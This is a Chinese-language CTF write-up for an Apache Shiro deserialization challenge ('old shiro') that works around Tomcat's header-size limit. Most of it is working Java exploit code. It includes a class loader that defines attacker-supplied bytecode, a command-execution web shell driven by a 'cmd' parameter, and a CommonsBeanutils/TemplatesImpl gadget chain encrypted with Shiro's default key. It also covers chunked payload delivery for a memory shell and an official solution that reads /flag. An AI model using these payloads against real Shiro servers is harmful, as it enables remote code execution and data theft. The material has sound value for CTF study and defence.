还有一些方法参考https://pankas.top/2024/02/01/%E4%BB%8Erwctf%E4%BD%93%E9%AA%8C%E8%B5%9B%E7%9A%84old-shiro%E4%B8%80%E9%A2%98%E5%AD%A6%E4%B9%A0linux%E9%80%9A%E7%94%A8%E5%91%BD%E4%BB%A4%E5%9B%9E%E6%98%BE%E6%96%B9%E6%B3%95/

修改 header-max长度

比较常规的方法,就不说了,

分离payload+动态类加载

这种方式简单来讲就是先上传一个自己的classload,例如

import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class EvilLoader extends AbstractTranslet {  
    static{  
        try{  
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();  
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");  
            r.setAccessible(true);  
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();  
            javax.servlet.http.HttpSession session = request.getSession();  
  
            String classData=request.getParameter("classData");  
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);  
  
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});  
            defineClassMethod.setAccessible(true);  
            Class cc = (Class) defineClassMethod.invoke(EvilLoader.class.getClassLoader(), classBytes, 0,classBytes.length);  
  
            cc.newInstance().equals(new Object[]{request,response,session});  
        }catch(Exception e){  
            e.printStackTrace();  
        }  
    }  
    @Override  
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {  
    }  
    @Override  
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {  
    }  
}

然后post传一个恶意类的字节码,例如下面这个,classloader获取到request参数就会实例化这个类并调用equals方法

import java.io.InputStream;  
import java.util.Scanner;  
  
public class cmd2 {  
    public boolean equals(Object req) {  
        Object[] context=(Object[]) req;  
//        org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];  
//        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];  
        org.apache.catalina.connector.RequestFacade  request=(org.apache.catalina.connector.RequestFacade )context[0];  
        org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];  
        String cmd = request.getParameter("cmd");  
        if (cmd != null) {  
            try {  
                response.setContentType("text/html;charset=utf-8");  
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();  
                Scanner s = new Scanner(in).useDelimiter("\\\\a");  
                String output = s.hasNext() ? s.next() : "";  
                response.getWriter().println("----------------------------------");  
                response.getWriter().println(output);  
                response.getWriter().println("----------------------------------");  
                response.getWriter().flush();  
                response.getWriter().close();  
            } catch (Exception e) {  
                e.printStackTrace();  
            }  
        }  
        return true;  
    }  
}

然后把这个的字节码分块传输上去,再实例化它,实现如下

package org.rwctf.oldshiro.poc;  
  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.ArrayList;  
import java.util.Base64;  
import java.util.PriorityQueue;  
  
  
public class CommonsBeanutilsString {  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public byte[] getPayload(String classname,String j) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
  
        CtClass ctClass = pool.makeClass(classname);  
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");  
        ctClass.setSuperclass(superClass);  
        CtConstructor constructor = ctClass.makeClassInitializer();  
  
//        constructor.setBody("        try {\n" +  
//                "            new java.io.FileOutputStream(new java.io.File(\"/tmp/1.txt\"), true).write(\"" + j +"\".getBytes());\n" +  
//                "        } catch (Exception ignored) {\n" +  
//                "        }");  
//  
//        constructor.setBody("        try {\n" +  
//                "            java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"cat /tmp/1.txt | base64 -d > /tmp/EvilLoader.class\"});\n" +  
//                "        } catch (Exception ignored) {\n" +  
//                "        }");  
  
        constructor.setBody("        try {\n" +  
                "            new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"file:///tmp/\")}).loadClass(\"EvilLoader1\").newInstance();\n" +  
                "        } catch (Exception ignored) {\n" +  
                "        }");  
        byte[] bytes = ctClass.toBytecode();  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});  
        setFieldValue(obj, "_name", "H");  
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());  
  
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);  
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);  
        // stub data for replacement later  
        queue.add("1");  
        queue.add("1");  
  
        setFieldValue(comparator, "property", "outputProperties");  
        setFieldValue(queue, "queue", new Object[]{obj, obj});  
  
 
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(queue);  
        oos.close();  
  
        return barr.toByteArray();  
    }  
    public static ArrayList makeBlockPayload (){  
	    // 这里是 实现的恶意classloader的字节码
        String input = "";  
        int groupSize = 400;  
        int length = input.length();  
        int startIndex = 0;  
        int endIndex = Math.min(length, groupSize);  
        int a = 1;  
        ArrayList<String> arrayList = new ArrayList<>();  
  
        while (startIndex < length) {  
            String group = input.substring(startIndex, endIndex);  
//            System.out.println(a + ":" + group);  
            arrayList.add(group);  
            startIndex = endIndex;  
            endIndex = Math.min(startIndex + groupSize, length);  
            a++;  
        }  
//        System.out.println(arrayList);  
        return  arrayList;  
    }  
    public static void main(String[] args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass = pool.get("EvilLoader");  
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));  
        byte[] classBytes = ctClass.toBytecode();  
        System.out.println(new String(Base64.getEncoder().encode(classBytes)));  
  
  
        CtClass ctClass2 = pool.get("cmd2");  
        byte[] classBytes2 = ctClass2.toBytecode();  
        System.out.println("post请求参数wangdefu\\n" + Base64.getEncoder().encodeToString(classBytes2));  
  
  
  
  
        ArrayList<String> result = new ArrayList<>();  
        ArrayList<String> arrayList = makeBlockPayload();  
        for (int i = 0; i < arrayList.size(); i++) {  
            byte[] payloads = new CommonsBeanutilsString().getPayload(String.valueOf(i), arrayList.get(i));  
            System.out.println(new String(Base64.getEncoder().encode(payloads)));  
            AesCipherService aes = new AesCipherService();  
            byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");  
  
            ByteSource ciphertext = aes.encrypt(payloads, key);  
            System.out.println(ciphertext.toString());  
            result.add("\"" + ciphertext.toString() + "\"");  
            System.out.println(ciphertext.toString().length());  
        }  
        System.out.println(result);  
  
    }  
  
}

这里最后loadclass的方式很多,但因为使用javaassist的缘故,我如果想要把执行代码放到constructor有一些方式会报错,例如利用下面这种方式的话。所以最后直接用urlload class最方便

  
static {  
    try {  
  
    byte[] clazzByte = (new sun.misc.BASE64Decoder()).decodeBuffer(new String(java.nio.file.Files.readAllBytes(new java.io.File("/tmp/1.txt").toPath()), java.nio.charset.StandardCharsets.UTF_8));  
    java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);  
    defineClass.setAccessible(true);  
    Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);  
    clazz.newInstance();  
  
    } catch (Exception e) {  
        e.printStackTrace();  
    }  
}

但很奇怪的是这种方式只能执行一次命令,后面就不执行了 ,但是既然已经分块传输了,直接把内存马字节码扔过去实例化添加一个路由就行了,

image.png

分块写入payload

参考 https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8 F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8 D%E7%AA%81%E7%A0%B4/

ClassPool pool = ClassPool.getDefault();
CtClass springEcho = SpringEcho.genPayload(pool);
byte[] memoryExp = springEcho.toBytecode();
 
//        byte[] memoryExp = MiscUtils.classAsBytes(Evil.class);
 
T.class
 
String expCode =
org.apache.shiro.codec.Base64.encodeToString(memoryExp);
 
        Integer split = 200;
        List<String> expCodes = splitString(expCode, split);
 
// 创建 thread
 
        Object createThread =
STemplates.makeEvilTemplates("Thread.currentThread().setName(\"#\");", "A");
 
        createThread = deserialize2Getter(createThread, "outputProperties");
        printLength(createThread);
        sendToServer(createThread);
 
// 添加 thread  
for (int i = 0;i < expCodes.size(); ++i) {
 
            String format =
                    " ThreadGroup a =
 
Thread.currentThread().getThreadGroup();\n" +
                    "  java.lang.reflect.Field v2 =
 
a.getClass().getDeclaredField(\"threads\");\n" +
                    "  v2.setAccessible(true);\n" +
 
                    "  Thread[] o = (Thread[]) v2.get(a);\n" +
 
                    "  for(int i = 0; i < o.length; ++i) {if
(o[i].getName().contains(\"#\")){o[i].setName(o[i].getName()+\"" +
 
expCodes.get(i) + "\");}}";
 
            Object splitSend = STemplates.makeEvilTemplates(format, "B" + i);
            splitSend = deserialize2Getter(splitSend, "outputProperties");
            printLength(splitSend);
            sendToServer(splitSend);
 
}
 
        Object runThread =
STemplates.getEvilTemplates(MiscUtils.classAsBytes(T.class));
 
//
 
runThread = deserialize2Getter(runThread, "outputProperties");
printLength(runThread);
 
  sendToServer(runThread);
 
byte[] code = SerializeUtils.serialize(runThread);
String session = encode(code);
System.out.println(session);

T.class

tatic { try {
 
            ThreadGroup a = Thread.currentThread().getThreadGroup();
 
            java.lang.reflect.Field v =
a.getClass().getDeclaredField("threads");
 
            v.setAccessible(true);
//            for (Thread z: ((Thread[])v.get(a))) {
//                System.out.println(z.getName());
 
                byte[] x =
org.apache.shiro.codec.Base64.decode(((Thread[])v.get(a))
 
[4].getName().substring(1));
             java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class,
int.class);
 
                defineClassMethod.setAccessible(true);
 
((Class)defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),
x, 0, x.length)).newInstance();
//            }
 
        } catch (Exception e) {}
    }

官方wp

package org.example;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.objectweb.asm.*;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
    public static void main(String[ ] args) throws Exception {
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +
                "Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +
                "String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +
                "resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";
        Object cbGadget = getCbGadget(javaCode);
        byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);
        String s = doShiroEncryption(cbGadgetBytes, key);
        System.out.println("Cookie length: " + s.length());
        System.out.println("Cookie is: " + s);
    }
    public static byte[ ] base64Decode(String key) {
        return Base64.getDecoder().decode(key);
    }
    public static String base64Encode(byte[ ] key) {
        return Base64.getEncoder().encodeToString(key);
    }
    public static String urlEncode(String key) throws UnsupportedEncodingException {
        return URLEncoder.encode(key, "UTF-8");
    }
    public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
        byte[ ] key = base64Decode(keyInBase64);
        byte[ ] iv = generateRandomIv();
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        Key keySpec = new SecretKeySpec(key, "AES");
        IvParameterSpec ivSpec = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
        byte[ ] encrypted = cipher.doFinal(content);
        byte[ ] cipherText = new byte[iv.length + encrypted.length];
        System.arraycopy(iv, 0, cipherText, 0, iv.length);
        System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);
        return base64Encode(cipherText);
    }
    private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {
        byte[ ] iv = new byte[16];
        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
        random.nextBytes(iv);
        return iv;
    }
    public static Object getCbGadget(String javaCode) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(javaCode);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");
        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));
        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");
        // switch contents of queue
        final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;
        return queue;
    }
    public static class Serialization {
        public static byte[ ] serialize(Object obj) throws IOException {
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            serialize(obj, out);
            return out.toByteArray();
        }
        public static void serialize(Object obj, OutputStream out) throws IOException {
            final ObjectOutputStream objOut = new ObjectOutputStream(out);
            objOut.writeObject(obj);
        }
    }
    public static class Gadgets {
        public static Object createTemplatesImpl(final String command) throws Exception {
            if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
                return createTemplatesImpl(
                        command,
                        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
            }
            return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
        }
        public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
                throws Exception {
            final T templates = tplClass.newInstance();
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(abstTranslet));
            final CtClass clazz = pool.makeClass("StubTransletPayload");
            clazz.makeClassInitializer().insertAfter(javaCode);
            clazz.setName("ysoserial.Pwner" + System.nanoTime());
            CtClass superC = pool.get(abstTranslet.getName());
            clazz.setSuperclass(superC);
            byte[ ] classBytes = clazz.toBytecode();
            // inject class bytes into instance
            classBytes = shortenClassBytes(classBytes);
            byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));
            Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{
                    classBytes, ClassFiles.classAsBytes(Foo.class)
            });
            // required to make TemplatesImpl happy
            Reflections.setFieldValue(templates, "_name", "1");
            Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
            return templates;
        }
    }
    public static class ClassFiles {
        public static String classAsFile(final Class<?> clazz) {
            return classAsFile(clazz, true);
        }
        public static String classAsFile(final Class<?> clazz, boolean suffix) {
            String str;
            if (clazz.getEnclosingClass() == null) {
                str = clazz.getName().replace(".", "/");
            } else {
                str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
            }
            if (suffix) {
                str += ".class";
            }
            return str;
        }
        public static byte[ ] classAsBytes(final Class<?> clazz) {
            try {
                final byte[ ] buffer = new byte[1024];
                final String file = classAsFile(clazz);
                final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
                if (in == null) {
                    throw new IOException("couldn't find '" + file + "'");
                }
                final ByteArrayOutputStream out = new ByteArrayOutputStream();
                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }
                return out.toByteArray();
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;
    }
    public static class Reflections {
        public static void setAccessible(AccessibleObject member) {
            String versionStr = System.getProperty("java.version");
            int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
            if (javaVersion < 12) {
                // quiet runtime warnings from JDK9+
                Permit.setAccessible(member);
            } else {
                // not possible to quiet runtime warnings anymore...
                // see https://bugs.openjdk.java.net/browse/JDK-8210522
                // to understand impact on Permit (i.e. it does not work
                // anymore with Java >= 12)
                member.setAccessible(true);
            }
        }
        public static Field getField(final Class<?> clazz, final String fieldName) {
            Field field = null;
            try {
                field = clazz.getDeclaredField(fieldName);
                setAccessible(field);
            }
            catch (NoSuchFieldException ex) {
                if (clazz.getSuperclass() != null)
                    field = getField(clazz.getSuperclass(), fieldName);
            }
            return field;
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            field.set(obj, value);
        }
        public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            return field.get(obj);
        }
    }
    public static byte[ ] shortenClassBytes(byte[ ] classBytes) {
        ClassReader cr = new ClassReader(classBytes);
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
        int api = Opcodes.ASM7;
        ClassVisitor cv = new ShortClassVisitor(api, cw);
        int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
        cr.accept(cv, parsingOptions);
        byte[ ] out = cw.toByteArray();
        return out;
    }
    public static class ShortClassVisitor extends ClassVisitor {
        private final int api;
        public ShortClassVisitor(int api, ClassVisitor classVisitor) {
            super(api, classVisitor);
            this.api = api;
        }
        @Override
        public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {
            MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
            return new ShortMethodAdapter(this.api, mv);
        }
    }
    public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
        public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
            super(api, methodVisitor);
        }
        @Override
        public void visitLineNumber(int line, Label start) {
            // delete line number
        }
    }
}